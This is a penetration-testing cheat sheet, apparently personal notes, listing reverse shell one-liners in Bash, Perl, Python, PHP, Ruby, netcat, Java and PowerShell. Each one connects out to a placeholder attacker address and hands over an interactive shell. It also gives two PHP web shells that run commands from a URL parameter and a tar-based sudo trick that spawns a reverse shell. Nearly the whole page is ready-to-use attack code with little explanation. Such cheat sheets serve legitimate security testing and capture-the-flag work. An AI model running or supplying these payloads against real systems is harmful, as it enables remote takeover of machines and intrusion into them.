# Linux Reverse Shell  \[One liner]

## A collection of Linux reverse shell one-liners <a href="#cd4a" id="cd4a"></a>

These one-liners are all found on [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet?source=post_page---------------------------). This website also contains a bunch of other useful stuff!

### Bash <a href="#id-1cbf" id="id-1cbf"></a>

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

### Perl <a href="#id-6c47" id="id-6c47"></a>

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### Python <a href="#c4ed" id="c4ed"></a>

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### PHP <a href="#be24" id="be24"></a>

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

### Ruby <a href="#b7fc" id="b7fc"></a>

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

### Netcat with -e <a href="#id-163e" id="id-163e"></a>

```
nc -e /bin/sh 10.0.0.1 1234
```

### Netcat without -e (my personal favourite) <a href="#eec4" id="eec4"></a>

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

### Java <a href="#id-27e7" id="id-27e7"></a>

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

## Reverse Shell

```
Bash : bash -i >& /dev/tcp/10.10.10.10/4443 0>&1

Netcat without e flag : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f

Netcat Linux : nc -e /bin/sh 10.10.10.10 4443

Netcat windows : nc -e cmd.exe 10.10.10.10 4443

Python : python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl: perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP command Injection:
<?php echo system($_GET["cmd"]);?>

#Alternative
<?php echo shell_exec($_GET["cmd"]);?>


```

Powershell one liner shell

```
$client = New-Object System.Net.Sockets.TCPClient("ip",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

```

Tar Exploit - One liner shell

```
Tar Exploit - one shell script :
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/ip/8082 0>&1' > a.sh
tar -cvf a.tar a.sh
sudo -u onuma tar -xvf a.tar --to-command /bin/bash
```
